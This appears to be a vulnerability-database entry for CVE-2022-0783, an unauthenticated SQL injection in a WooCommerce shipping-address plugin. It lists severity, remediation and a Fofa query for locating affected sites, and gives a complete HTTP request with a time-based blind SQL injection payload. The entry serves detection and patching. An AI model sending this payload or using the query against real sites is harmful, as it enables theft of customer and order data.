🔙 목록으로 돌아가기

CVE-2022-0783: Multiple Shipping Address Woocommerce < 2.0 - SQL Injection

TitleMultiple Shipping Address Woocommerce < 2.0 - SQL Injection
Authorritikchaddha
SeverityHigh
ImpactUnauthenticated attackers can execute time-based blind SQL injection to extract database contents, potentially exposing sensitive WooCommerce customer and order data.
RemediationUpdate the Multiple Shipping Address Woocommerce plugin to version 2.0 or later.
CVSS Score8.6
EPSS Score0.51271
CVE IDCVE-2022-0783
CWE IDCWE-89
Fofa Querybody="wp-content/plugins/multiple-shipping-address-woocommerce"
Tags cve cve2022 wordpress wp wp-plugin multiple-shipping-address-woocommerce sqli vuln

🔍 Vulnerability Description

The Multiple Shipping Address Woocommerce plugin before 2.0 does not properly sanitize and escape numerous parameters before using them in SQL statements via some AJAX actions available to unauthenticated users, leading to unauthenticated SQL injections.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Content-Length: 79
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=ocwma_choice_address&sid=3+AND+(SELECT+1946+FROM+(SELECT(SLEEP(7)))zsme)

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0783.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0783.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A